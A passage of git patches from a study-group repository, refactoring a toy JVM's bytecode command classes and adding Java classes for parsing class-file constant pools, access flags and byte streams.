--- a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/cmd/ByteCodeCommand.java
+++ b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/cmd/ByteCodeCommand.java
@@ -67,10 +67,7 @@ public abstract class ByteCodeCommand {
 		
 		codeMap.put("12", "ldc");
 	}
-	
-	
 
-	
 
 	protected ByteCodeCommand(ClassFile clzFile, String opCode){
 		this.clzFile = clzFile;
@@ -88,25 +85,22 @@ public int getOffset() {
 	public void setOffset(int offset) {
 		this.offset = offset;
 	}
+
 	protected ConstantInfo getConstantInfo(int index){
-		return this.getClassFile().getConstantPool().getConstantInfo(index);
+		return getConstantPool().getConstantInfo(index);
 	}
 	
 	protected ConstantPool getConstantPool(){
 		return this.getClassFile().getConstantPool();
 	}
-	
-	
-	
+
 	public String getOpCode() {
 		return opCode;
 	}
 
 	public abstract int getLength();  // 以后goto语句要用到
-	
-	
-	
-	
+
+    @Override
 	public String toString(){
 		
 		StringBuffer buffer = new StringBuffer();
@@ -114,12 +108,13 @@ public String toString(){
 		
 		return buffer.toString();
 	}
+
 	public abstract String toString(ConstantPool pool);
 	
 	public String getReadableCodeText(){
 		String txt = codeMap.get(opCode);
 		if(txt == null){
-			return opCode;
+			throw new RuntimeException("codeMap don't contain: " + opCode);
 		}
 		return txt;
 	}
diff --git a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/cmd/LdcCmd.java b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/cmd/LdcCmd.java
index 4e8e535bcc..1aef5af580 100644
--- a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/cmd/LdcCmd.java
+++ b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/cmd/LdcCmd.java
@@ -15,7 +15,7 @@ public LdcCmd(ClassFile clzFile, String opCode) {
 	@Override
 	public String toString(ConstantPool pool) {
 		
-		ConstantInfo info = (ConstantInfo)pool.getConstantInfo(this.getOperand());
+		ConstantInfo info = pool.getConstantInfo(this.getOperand());
 		
 		String value = "TBD";
 		if(info instanceof StringInfo){
diff --git a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/cmd/PutFieldCmd.java b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/cmd/PutFieldCmd.java
index bb2f8f2efd..46a878940f 100644
--- a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/cmd/PutFieldCmd.java
+++ b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/cmd/PutFieldCmd.java
@@ -15,6 +15,4 @@ public String toString(ConstantPool pool) {
 		
 		return super.getOperandAsField(pool);
 	}
-
-
 }
diff --git a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/cmd/TwoOperandCmd.java b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/cmd/TwoOperandCmd.java
index 2f7fd67303..9cb8173567 100644
--- a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/cmd/TwoOperandCmd.java
+++ b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/cmd/TwoOperandCmd.java
@@ -39,14 +39,13 @@ public int getIndex(){
 	protected String getOperandAsClassInfo(ConstantPool pool){
 		int index = getIndex();
 		String codeTxt = getReadableCodeText();
-		ClassInfo info = (ClassInfo)pool.getConstantInfo(index);
+		ClassInfo info = (ClassInfo)getConstantInfo(index);
 		return this.getOffset()+":"+this.getOpCode()+" "+ codeTxt +"  "+ info.getClassName();
 	}
 	
 	protected String getOperandAsMethod(ConstantPool pool){
 		int index = getIndex();
 		String codeTxt = getReadableCodeText();
-		ConstantInfo constInfo = this.getConstantInfo(index);
 		MethodRefInfo info = (MethodRefInfo)this.getConstantInfo(index);
 		return this.getOffset()+":"+this.getOpCode()+" " + codeTxt +"  "+ info.toString();
 	}
diff --git a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/constant/FieldRefInfo.java b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/constant/FieldRefInfo.java
index 98c5ced1a9..b69e5aebc6 100644
--- a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/constant/FieldRefInfo.java
+++ b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/constant/FieldRefInfo.java
@@ -34,9 +34,6 @@ public String toString(){
 	
 	public String getClassName(){
 		ClassInfo classInfo = (ClassInfo) this.getConstantInfo(this.getClassInfoIndex());
-		
-		// UTF8Info utf8Info = (UTF8Info)this.getConstantInfo(classInfo.getUtf8Index());
-		// return utf8Info.getValue();
 		return classInfo.getClassName();
 		
 	}
diff --git a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/print/ClassFilePrinter.java b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/print/ClassFilePrinter.java
index c52df283b0..b2887df85e 100644
--- a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/print/ClassFilePrinter.java
+++ b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/print/ClassFilePrinter.java
@@ -28,10 +28,10 @@ public void print(){
 	}
 	
 	public static void main(String[] args){
-		String path = "C:\\Users\\liuxin\\git\\coding2017\\liuxin\\mini-jvm\\bin";
+		String path = ClassFilePrinter.class.getClassLoader().getResource("jvm").getPath();
 		ClassFileLoader loader = new ClassFileLoader();
 		loader.addClassPath(path);
-		String className = "com.coderising.jvm.test.EmployeeV1";
+		String className = "com.github.miniyk2012.coding2017.jvm.test.EmployeeV1";
 		
 		ClassFile clzFile = loader.loadClass(className);
 		
diff --git a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/print/ConstantPoolPrinter.java b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/print/ConstantPoolPrinter.java
index fd07affd2e..f3c164be13 100644
--- a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/print/ConstantPoolPrinter.java
+++ b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/print/ConstantPoolPrinter.java
@@ -8,12 +8,11 @@ public class ConstantPoolPrinter {
 	ConstantPoolPrinter(ConstantPool pool){
 		this.pool = pool;
 	}
+
 	public void print(){
 		// todo: 实现javap
 		System.out.println("Constant Pool:");
 		
-		
-		
-		
+
 	}
 }
diff --git a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/test/ClassFileloaderTest.java b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/test/ClassFileloaderTest.java
index 52ee7f4426..b2b06459f8 100644
--- a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/test/ClassFileloaderTest.java
+++ b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/test/ClassFileloaderTest.java
@@ -11,10 +11,7 @@
 import com.github.miniyk2012.coding2017.coderising.jvm.loader.ClassFileLoader;
 import com.github.miniyk2012.coding2017.coderising.jvm.method.Method;
 import com.github.miniyk2012.coding2017.coderising.jvm.util.Util;
-import org.junit.After;
-import org.junit.Assert;
-import org.junit.Before;
-import org.junit.Test;
+import org.junit.*;
 
 import java.util.List;
 
@@ -335,11 +332,25 @@ private void assertOpCodeEquals(String expected, ByteCodeCommand cmd){
      * 编写代码时做的一些测试用例
      */
     @Test
+    @Ignore
     public void otherThing() {
         {   // Method的若干方法
             Method mainMethod = this.clzFile.getMainMethod();
             Assert.assertEquals("main", mainMethod.getMethodName());
             Assert.assertEquals("([Ljava/lang/String;)V", mainMethod.getDescriptor());
+            System.out.println(mainMethod);
+        }
+        {
+            Method sayHelloMethod = this.clzFile.getMethod("sayHello", "()V");
+            System.out.println(sayHelloMethod);
+        }
+        {
+            Method setNameMethod = this.clzFile.getMethod("setName", "(Ljava/lang/String;)V");
+            System.out.println(setNameMethod);
+        }
+        {
+            Method initMethod = this.clzFile.getMethod("<init>", "(Ljava/lang/String;I)V");
+            System.out.println(initMethod);
         }
     }
 

From 791b555459400eeba30497815065610151abf079 Mon Sep 17 00:00:00 2001
From: GZ-RXP <283091182@qq.com>
Date: Tue, 2 May 2017 09:44:55 +0800
Subject: [PATCH 155/262] jvm 3rd week data structure - infixExp

---
 .../com/coderising/jvm/clz/AccessFlag.java    |  25 +++
 .../com/coderising/jvm/clz/ClassFile.java     |  75 +++++++
 .../com/coderising/jvm/clz/ClassIndex.java    |  19 ++
 .../coderising/jvm/constant/ClassInfo.java    |  24 +++
 .../coderising/jvm/constant/ConstantInfo.java |  29 +++
 .../coderising/jvm/constant/ConstantPool.java |  29 +++
 .../coderising/jvm/constant/FieldRefInfo.java |  54 +++++
 .../jvm/constant/MethodRefInfo.java           |  55 +++++
 .../jvm/constant/NameAndTypeInfo.java         |  45 ++++
 .../jvm/constant/NullConstantInfo.java        |  13 ++
 .../coderising/jvm/constant/StringInfo.java   |  26 +++
 .../com/coderising/jvm/constant/UTF8Info.java |  32 +++
 .../jvm/loader/ByteCodeIterator.java          |  87 ++++++++
 .../jvm/loader/ClassFileLoader.java           | 140 ++++++++++++
 .../jvm/loader/ClassFileParser.java           | 101 +++++++++
 .../jvm/test/ClassFileloaderTest.java         | 202 ++++++++++++++++++
 .../coderising/jvm/attr/AttributeInfo.java    |  19 ++
 .../com/coderising/jvm/attr/CodeAttr.java     |  86 ++++++++
 .../coderising/jvm/attr/LineNumberTable.java  |  64 ++++++
 .../jvm/attr/LocalVariableItem.java           |  39 ++++
 .../jvm/attr/LocalVariableTable.java          |  54 +++++
 .../coderising/jvm/attr/StackMapTable.java    |  30 +++
 .../com/coderising/jvm/clz/ClassFile.java     |  35 ++-
 .../com/coderising/jvm/field/Field.java       |  50 +++++
 .../jvm/loader/ByteCodeIterator.java          |   4 +
 .../jvm/loader/ClassFileParser.java           |  31 +++
 .../com/coderising/jvm/method/Method.java     |  93 ++++++++
 .../jvm/test/ClassFileloaderTest.java         |  77 ++++++-
 .../src/com/coding/basic/stack/StackUtil.java |  21 +-
 .../coding/basic/stack/expr/InfixExpr.java    | 103 +++++++++
 .../basic/stack/expr/InfixExprTest.java       |  52 +++++
 31 files changed, 1708 insertions(+), 6 deletions(-)
 create mode 100644 group11/283091182/mini-jvm-week2-bk/com/coderising/jvm/clz/AccessFlag.java
 create mode 100644 group11/283091182/mini-jvm-week2-bk/com/coderising/jvm/clz/ClassFile.java
 create mode 100644 group11/283091182/mini-jvm-week2-bk/com/coderising/jvm/clz/ClassIndex.java
 create mode 100644 group11/283091182/mini-jvm-week2-bk/com/coderising/jvm/constant/ClassInfo.java
 create mode 100644 group11/283091182/mini-jvm-week2-bk/com/coderising/jvm/constant/ConstantInfo.java
 create mode 100644 group11/283091182/mini-jvm-week2-bk/com/coderising/jvm/constant/ConstantPool.java
 create mode 100644 group11/283091182/mini-jvm-week2-bk/com/coderising/jvm/constant/FieldRefInfo.java
 create mode 100644 group11/283091182/mini-jvm-week2-bk/com/coderising/jvm/constant/MethodRefInfo.java
 create mode 100644 group11/283091182/mini-jvm-week2-bk/com/coderising/jvm/constant/NameAndTypeInfo.java
 create mode 100644 group11/283091182/mini-jvm-week2-bk/com/coderising/jvm/constant/NullConstantInfo.java
 create mode 100644 group11/283091182/mini-jvm-week2-bk/com/coderising/jvm/constant/StringInfo.java
 create mode 100644 group11/283091182/mini-jvm-week2-bk/com/coderising/jvm/constant/UTF8Info.java
 create mode 100644 group11/283091182/mini-jvm-week2-bk/com/coderising/jvm/loader/ByteCodeIterator.java
 create mode 100644 group11/283091182/mini-jvm-week2-bk/com/coderising/jvm/loader/ClassFileLoader.java
 create mode 100644 group11/283091182/mini-jvm-week2-bk/com/coderising/jvm/loader/ClassFileParser.java
 create mode 100644 group11/283091182/mini-jvm-week2-bk/com/coderising/jvm/test/ClassFileloaderTest.java
 create mode 100644 group11/283091182/mini-jvm/com/coderising/jvm/attr/AttributeInfo.java
 create mode 100644 group11/283091182/mini-jvm/com/coderising/jvm/attr/CodeAttr.java
 create mode 100644 group11/283091182/mini-jvm/com/coderising/jvm/attr/LineNumberTable.java
 create mode 100644 group11/283091182/mini-jvm/com/coderising/jvm/attr/LocalVariableItem.java
 create mode 100644 group11/283091182/mini-jvm/com/coderising/jvm/attr/LocalVariableTable.java
 create mode 100644 group11/283091182/mini-jvm/com/coderising/jvm/attr/StackMapTable.java
 create mode 100644 group11/283091182/mini-jvm/com/coderising/jvm/field/Field.java
 create mode 100644 group11/283091182/mini-jvm/com/coderising/jvm/method/Method.java
 create mode 100644 group11/283091182/src/com/coding/basic/stack/expr/InfixExpr.java
 create mode 100644 group11/283091182/src/com/coding/basic/stack/expr/InfixExprTest.java

diff --git a/group11/283091182/mini-jvm-week2-bk/com/coderising/jvm/clz/AccessFlag.java b/group11/283091182/mini-jvm-week2-bk/com/coderising/jvm/clz/AccessFlag.java
new file mode 100644
index 0000000000..faae056835
--- /dev/null
+++ b/group11/283091182/mini-jvm-week2-bk/com/coderising/jvm/clz/AccessFlag.java
@@ -0,0 +1,25 @@
+package com.coderising.jvm.clz;
+
+public class AccessFlag {
+	private int flagValue;
+
+	public AccessFlag(int value) {
+		this.flagValue = value;
+	}
+
+	public int getFlagValue() {
+		return flagValue;
+	}
+
+	public void setFlagValue(int flag) {
+		this.flagValue = flag;
+	}
+	
+	public boolean isPublicClass(){
+		return (this.flagValue & 0x0001) != 0;
+	}
+	public boolean isFinalClass(){
+		return (this.flagValue & 0x0010) != 0;
+	}
+	
+}
\ No newline at end of file
diff --git a/group11/283091182/mini-jvm-week2-bk/com/coderising/jvm/clz/ClassFile.java b/group11/283091182/mini-jvm-week2-bk/com/coderising/jvm/clz/ClassFile.java
new file mode 100644
index 0000000000..650ca8375d
--- /dev/null
+++ b/group11/283091182/mini-jvm-week2-bk/com/coderising/jvm/clz/ClassFile.java
@@ -0,0 +1,75 @@
+package com.coderising.jvm.clz;
+
+import com.coderising.jvm.constant.ClassInfo;
+import com.coderising.jvm.constant.ConstantPool;
+
+public class ClassFile {
+	
+	private int minorVersion;
+	private int majorVersion;
+	
+	private AccessFlag accessFlag;
+	private ClassIndex clzIndex;
+	private ConstantPool pool;
+	
+	
+	public ClassIndex getClzIndex() {
+		return clzIndex;
+	}
+	public AccessFlag getAccessFlag() {
+		return accessFlag;
+	}
+	public void setAccessFlag(AccessFlag accessFlag) {
+		this.accessFlag = accessFlag;
+	}
+	
+	
+	
+	public ConstantPool getConstantPool() {		
+		return pool;
+	}
+	public int getMinorVersion() {
+		return minorVersion;
+	}
+	public void setMinorVersion(int minorVersion) {
+		this.minorVersion = minorVersion;
+	}
+	public int getMajorVersion() {
+		return majorVersion;
+	}
+	public void setMajorVersion(int majorVersion) {
+		this.majorVersion = majorVersion;
+	}
+	public void setConstPool(ConstantPool pool) {
+		this.pool = pool;
+		
+	}
+	public void setClassIndex(ClassIndex clzIndex) {
+		this.clzIndex = clzIndex;		
+	}
+	
+	
+	
+	
+	public void print(){
+		
+		if(this.accessFlag.isPublicClass()){
+			System.out.println("Access flag : public  ");
+		}
+		System.out.println("Class Name:"+ getClassName());
+		
+		System.out.println("Super Class Name:"+ getSuperClassName());
+		
+		
+	}
+	
+	private String getClassName(){
+		int thisClassIndex = this.clzIndex.getThisClassIndex();
+		ClassInfo thisClass = (ClassInfo)this.getConstantPool().getConstantInfo(thisClassIndex);
+		return thisClass.getClassName();
+	}
+	private String getSuperClassName(){
+		ClassInfo superClass = (ClassInfo)this.getConstantPool().getConstantInfo(this.clzIndex.getSuperClassIndex());
+		return superClass.getClassName();
+	}
+}
diff --git a/group11/283091182/mini-jvm-week2-bk/com/coderising/jvm/clz/ClassIndex.java b/group11/283091182/mini-jvm-week2-bk/com/coderising/jvm/clz/ClassIndex.java
new file mode 100644
index 0000000000..e424f284b3
--- /dev/null
+++ b/group11/283091182/mini-jvm-week2-bk/com/coderising/jvm/clz/ClassIndex.java
@@ -0,0 +1,19 @@
+package com.coderising.jvm.clz;
+
+public class ClassIndex {
+	private int thisClassIndex;
+	private int superClassIndex;
+	
+	public int getThisClassIndex() {
+		return thisClassIndex;
+	}
+	public void setThisClassIndex(int thisClassIndex) {
+		this.thisClassIndex = thisClassIndex;
+	}
+	public int getSuperClassIndex() {
+		return superClassIndex;
+	}
+	public void setSuperClassIndex(int superClassIndex) {
+		this.superClassIndex = superClassIndex;
+	}
+}
\ No newline at end of file
diff --git a/group11/283091182/mini-jvm-week2-bk/com/coderising/jvm/constant/ClassInfo.java b/group11/283091182/mini-jvm-week2-bk/com/coderising/jvm/constant/ClassInfo.java
new file mode 100644
index 0000000000..aea9048ea4
--- /dev/null
+++ b/group11/283091182/mini-jvm-week2-bk/com/coderising/jvm/constant/ClassInfo.java
@@ -0,0 +1,24 @@
+package com.coderising.jvm.constant;
+
+public class ClassInfo extends ConstantInfo {
+	private int type = ConstantInfo.CLASS_INFO;
+	private int utf8Index ;
+	public ClassInfo(ConstantPool pool) {
+		super(pool);
+	}
+	public int getUtf8Index() {
+		return utf8Index;
+	}
+	public void setUtf8Index(int utf8Index) {
+		this.utf8Index = utf8Index;
+	}
+	public int getType() {
+		return type;
+	}
+	
+	public String getClassName() {		
+		int index = getUtf8Index();
+		UTF8Info utf8Info = (UTF8Info)constantPool.getConstantInfo(index);
+		return utf8Info.getValue();		
+	}
+}
diff --git a/group11/283091182/mini-jvm-week2-bk/com/coderising/jvm/constant/ConstantInfo.java b/group11/283091182/mini-jvm-week2-bk/com/coderising/jvm/constant/ConstantInfo.java
new file mode 100644
index 0000000000..466b072244
--- /dev/null
+++ b/group11/283091182/mini-jvm-week2-bk/com/coderising/jvm/constant/ConstantInfo.java
@@ -0,0 +1,29 @@
+package com.coderising.jvm.constant;
+
+public abstract class ConstantInfo {
+	public static final int UTF8_INFO = 1;
+	public static final int FLOAT_INFO = 4;
+	public static final int CLASS_INFO = 7;
+	public static final int STRING_INFO = 8;
+	public static final int FIELD_INFO = 9;
+	public static final int METHOD_INFO = 10;
+	public static final int NAME_AND_TYPE_INFO = 12;
+	protected ConstantPool constantPool;
+	
+	public ConstantInfo(){
+		
+	}
+	
+	public ConstantInfo(ConstantPool pool) {
+		this.constantPool = pool;
+	}
+	public abstract int getType();
+	
+	public ConstantPool getConstantPool() {
+		return constantPool;
+	}
+	public ConstantInfo getConstantInfo(int index){
+		return this.constantPool.getConstantInfo(index);
+	}
+	
+}
diff --git a/group11/283091182/mini-jvm-week2-bk/com/coderising/jvm/constant/ConstantPool.java b/group11/283091182/mini-jvm-week2-bk/com/coderising/jvm/constant/ConstantPool.java
new file mode 100644
index 0000000000..86c0445695
--- /dev/null
+++ b/group11/283091182/mini-jvm-week2-bk/com/coderising/jvm/constant/ConstantPool.java
@@ -0,0 +1,29 @@
+package com.coderising.jvm.constant;
+
+import java.util.ArrayList;
+import java.util.List;
+
+public class ConstantPool {
+	
+	private List<ConstantInfo> constantInfos = new ArrayList<ConstantInfo>();
+	
+	
+	public ConstantPool(){
+		
+	}
+	public void addConstantInfo(ConstantInfo info){
+		
+		this.constantInfos.add(info);
+		
+	}
+	
+	public ConstantInfo getConstantInfo(int index){
+		return this.constantInfos.get(index);
+	}
+	public String getUTF8String(int index){
+		return ((UTF8Info)this.constantInfos.get(index)).getValue();
+	}
+	public Object getSize() {		
+		return this.constantInfos.size() -1;
+	}
+}
diff --git a/group11/283091182/mini-jvm-week2-bk/com/coderising/jvm/constant/FieldRefInfo.java b/group11/283091182/mini-jvm-week2-bk/com/coderising/jvm/constant/FieldRefInfo.java
new file mode 100644
index 0000000000..65475e194c
--- /dev/null
+++ b/group11/283091182/mini-jvm-week2-bk/com/coderising/jvm/constant/FieldRefInfo.java
@@ -0,0 +1,54 @@
+package com.coderising.jvm.constant;
+
+public class FieldRefInfo extends ConstantInfo{
+	private int type = ConstantInfo.FIELD_INFO;
+	private int classInfoIndex;
+	private int nameAndTypeIndex;
+	
+	public FieldRefInfo(ConstantPool pool) {
+		super(pool);
+	}
+	public int getType() {
+		return type;
+	}
+	
+	public int getClassInfoIndex() {
+		return classInfoIndex;
+	}
+	public void setClassInfoIndex(int classInfoIndex) {
+		this.classInfoIndex = classInfoIndex;
+	}
+	public int getNameAndTypeIndex() {
+		return nameAndTypeIndex;
+	}
+	public void setNameAndTypeIndex(int nameAndTypeIndex) {
+		this.nameAndTypeIndex = nameAndTypeIndex;
+	}
+	
+	public String toString(){
+		
+		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)this.getConstantInfo(this.getNameAndTypeIndex());
+		
+		return getClassName() +" : "+  typeInfo.getName() + ":" + typeInfo.getTypeInfo() +"]";
+	}
+	
+	public String getClassName(){
+		
+		ClassInfo classInfo = (ClassInfo) this.getConstantInfo(this.getClassInfoIndex());
+		
+		UTF8Info utf8Info = (UTF8Info)this.getConstantInfo(classInfo.getUtf8Index());
+		
+		return utf8Info.getValue();
+		
+	}
+	
+	public String getFieldName(){
+		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)this.getConstantInfo(this.getNameAndTypeIndex());
+		return typeInfo.getName();		
+	}
+	
+	public String getFieldType(){
+		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)this.getConstantInfo(this.getNameAndTypeIndex());
+		return typeInfo.getTypeInfo();	
+	}
+}
diff --git a/group11/283091182/mini-jvm-week2-bk/com/coderising/jvm/constant/MethodRefInfo.java b/group11/283091182/mini-jvm-week2-bk/com/coderising/jvm/constant/MethodRefInfo.java
new file mode 100644
index 0000000000..7f05870020
--- /dev/null
+++ b/group11/283091182/mini-jvm-week2-bk/com/coderising/jvm/constant/MethodRefInfo.java
@@ -0,0 +1,55 @@
+package com.coderising.jvm.constant;
+
+public class MethodRefInfo extends ConstantInfo {
+	
+	private int type = ConstantInfo.METHOD_INFO;
+	
+	private int classInfoIndex;	
+	private int nameAndTypeIndex;
+	
+	public MethodRefInfo(ConstantPool pool) {
+		super(pool);
+	}
+
+	public int getType() {
+		return type;
+	}
+	
+	public int getClassInfoIndex() {
+		return classInfoIndex;
+	}
+	public void setClassInfoIndex(int classInfoIndex) {
+		this.classInfoIndex = classInfoIndex;
+	}
+	public int getNameAndTypeIndex() {
+		return nameAndTypeIndex;
+	}
+	public void setNameAndTypeIndex(int nameAndTypeIndex) {
+		this.nameAndTypeIndex = nameAndTypeIndex;
+	}
+	
+	public String toString(){
+	
+		return getClassName() +" : "+ this.getMethodName() + " : " + this.getParamAndReturnType() ;
+	}
+	public String getClassName(){
+		ConstantPool pool = this.getConstantPool();		
+		ClassInfo clzInfo = (ClassInfo)pool.getConstantInfo(this.getClassInfoIndex());
+		return clzInfo.getClassName();
+	}
+	
+	public String getMethodName(){
+		ConstantPool pool = this.getConstantPool();
+		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)pool.getConstantInfo(this.getNameAndTypeIndex());
+		return typeInfo.getName();
+	}
+	
+	public String getParamAndReturnType(){
+		ConstantPool pool = this.getConstantPool();
+		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)pool.getConstantInfo(this.getNameAndTypeIndex());
+		return typeInfo.getTypeInfo();
+	}
+	
+	
+	
+}
diff --git a/group11/283091182/mini-jvm-week2-bk/com/coderising/jvm/constant/NameAndTypeInfo.java b/group11/283091182/mini-jvm-week2-bk/com/coderising/jvm/constant/NameAndTypeInfo.java
new file mode 100644
index 0000000000..402f9dec86
--- /dev/null
+++ b/group11/283091182/mini-jvm-week2-bk/com/coderising/jvm/constant/NameAndTypeInfo.java
@@ -0,0 +1,45 @@
+package com.coderising.jvm.constant;
+
+public class NameAndTypeInfo extends ConstantInfo{
+	public  int type = ConstantInfo.NAME_AND_TYPE_INFO;
+	
+	private int index1;
+	private int index2;
+	
+	public NameAndTypeInfo(ConstantPool pool) {
+		super(pool);
+	}
+	
+	public int getIndex1() {
+		return index1;
+	}
+	public void setIndex1(int index1) {
+		this.index1 = index1;
+	}
+	public int getIndex2() {
+		return index2;
+	}
+	public void setIndex2(int index2) {
+		this.index2 = index2;
+	}
+	public int getType() {
+		return type;
+	}
+	
+	
+	public String getName(){
+		ConstantPool pool = this.getConstantPool();
+		UTF8Info utf8Info1 = (UTF8Info)pool.getConstantInfo(index1);
+		return utf8Info1.getValue();
+	}
+	
+	public String getTypeInfo(){
+		ConstantPool pool = this.getConstantPool();
+		UTF8Info utf8Info2 = (UTF8Info)pool.getConstantInfo(index2);
+		return utf8Info2.getValue();
+	}
+	
+	public String toString(){
+		return "(" + getName() + "," + getTypeInfo()+")";
+	}
+}
diff --git a/group11/283091182/mini-jvm-week2-bk/com/coderising/jvm/constant/NullConstantInfo.java b/group11/283091182/mini-jvm-week2-bk/com/coderising/jvm/constant/NullConstantInfo.java
new file mode 100644
index 0000000000..936736016f
--- /dev/null
+++ b/group11/283091182/mini-jvm-week2-bk/com/coderising/jvm/constant/NullConstantInfo.java
@@ -0,0 +1,13 @@
+package com.coderising.jvm.constant;
+
+public class NullConstantInfo extends ConstantInfo {
+
+	public NullConstantInfo(){
+		
+	}
+	@Override
+	public int getType() {		
+		return -1;
+	}
+	
+}
diff --git a/group11/283091182/mini-jvm-week2-bk/com/coderising/jvm/constant/StringInfo.java b/group11/283091182/mini-jvm-week2-bk/com/coderising/jvm/constant/StringInfo.java
new file mode 100644
index 0000000000..f1f8eb4ed4
--- /dev/null
+++ b/group11/283091182/mini-jvm-week2-bk/com/coderising/jvm/constant/StringInfo.java
@@ -0,0 +1,26 @@
+package com.coderising.jvm.constant;
+
+public class StringInfo extends ConstantInfo{
+	private int type = ConstantInfo.STRING_INFO;
+	private int index;
+	public StringInfo(ConstantPool pool) {
+		super(pool);
+	}
+
+	public int getType() {
+		return type;
+	}
+	
+	public int getIndex() {
+		return index;
+	}
+	public void setIndex(int index) {
+		this.index = index;
+	}
+
+	
+	public String toString(){
+		return this.getConstantPool().getUTF8String(index);
+	}
+	
+}
diff --git a/group11/283091182/mini-jvm-week2-bk/com/coderising/jvm/constant/UTF8Info.java b/group11/283091182/mini-jvm-week2-bk/com/coderising/jvm/constant/UTF8Info.java
new file mode 100644
index 0000000000..5cac9f04f7
--- /dev/null
+++ b/group11/283091182/mini-jvm-week2-bk/com/coderising/jvm/constant/UTF8Info.java
@@ -0,0 +1,32 @@
+package com.coderising.jvm.constant;
+
+public class UTF8Info extends ConstantInfo{
+	private int type = ConstantInfo.UTF8_INFO;
+	private int length ;
+	private String value;
+	public UTF8Info(ConstantPool pool) {
+		super(pool);
+	}
+	public int getLength() {
+		return length;
+	}
+	public void setLength(int length) {
+		this.length = length;
+	}
+	public int getType() {
+		return type;
+	}
+	@Override
+	public String toString() {
+		return "UTF8Info [type=" + type + ", length=" + length + ", value=" + value +")]";
+	}
+	public String getValue() {
+		return value;
+	}
+	public void setValue(String value) {
+		this.value = value;
+	}
+	
+	
+
+}
diff --git a/group11/283091182/mini-jvm-week2-bk/com/coderising/jvm/loader/ByteCodeIterator.java b/group11/283091182/mini-jvm-week2-bk/com/coderising/jvm/loader/ByteCodeIterator.java
new file mode 100644
index 0000000000..514d85e08f
--- /dev/null
+++ b/group11/283091182/mini-jvm-week2-bk/com/coderising/jvm/loader/ByteCodeIterator.java
@@ -0,0 +1,87 @@
+package com.coderising.jvm.loader;
+
+public class ByteCodeIterator {
+	private byte[] bytes;
+	private int pos = 0;
+	public ByteCodeIterator(byte[] byteCodes){
+		this.bytes = byteCodes;
+	}
+	
+	public boolean hasNext(){
+		return this.pos < bytes.length-1;
+	}
+	
+	public byte next(){
+		byte b = bytes[pos];
+		pos ++;
+		return b;
+	}
+	
+	public byte[] getBytes(int len){
+		if(pos+len>bytes.length){
+			throw new RuntimeException("Index out of bounds:"+(pos+len));
+		}
+		byte[] bytes = new byte[len];
+		int idx = 0;
+		while(hasNext() && idx<len){
+			bytes[idx] = next();
+			idx++;
+		}
+		return bytes;
+	}
+	
+	public String getBytesAsString(int len){
+		return byteToString(getBytes(len));
+	}
+	
+	public String getBytesAsHexString(int len){
+		return byteToHexString(getBytes(len));
+	}
+	
+	public int nextU1AsInt() {
+		return byteToInt(getBytes(1));
+	}
+	
+	public int nextU2AsInt(){
+		return byteToInt(getBytes(2));
+	}
+	public int nextU4AsInt(){
+		return byteToInt(getBytes(4));
+	}
+	
+	public String nextU1AsString() {
+		return byteToString(getBytes(1));
+	}
+	
+	public String nextU2AsString(){
+		return byteToString(getBytes(2));
+	}
+	public String nextU4AsString(){
+		return byteToString(getBytes(4));
+	}
+	
+	//Util Methods for type conversion
+	private int byteToInt(byte[] codes){
+    	String s1 = byteToHexString(codes);
+    	return Integer.valueOf(s1, 16).intValue();
+    }
+    
+	private String byteToString(byte[] codes){
+    	String s1 = byteToHexString(codes);
+    	return new String(codes);
+    }
+    
+	private String byteToHexString(byte[] codes ){
+		StringBuffer buffer = new StringBuffer();
+		for(int i=0;i<codes.length;i++){
+			byte b = codes[i];
+			int value = b & 0xFF;
+			String strHex = Integer.toHexString(value);
+			if(strHex.length()< 2){
+				strHex = "0" + strHex;
+			}		
+			buffer.append(strHex);
+		}
+		return buffer.toString();
+	}
+}
diff --git a/group11/283091182/mini-jvm-week2-bk/com/coderising/jvm/loader/ClassFileLoader.java b/group11/283091182/mini-jvm-week2-bk/com/coderising/jvm/loader/ClassFileLoader.java
new file mode 100644
index 0000000000..9ff27b16cf
--- /dev/null
+++ b/group11/283091182/mini-jvm-week2-bk/com/coderising/jvm/loader/ClassFileLoader.java
@@ -0,0 +1,140 @@
+package com.coderising.jvm.loader;
+
+import java.io.BufferedInputStream;
+import java.io.ByteArrayOutputStream;
+import java.io.File;
+import java.io.FileInputStream;
+import java.io.IOException;
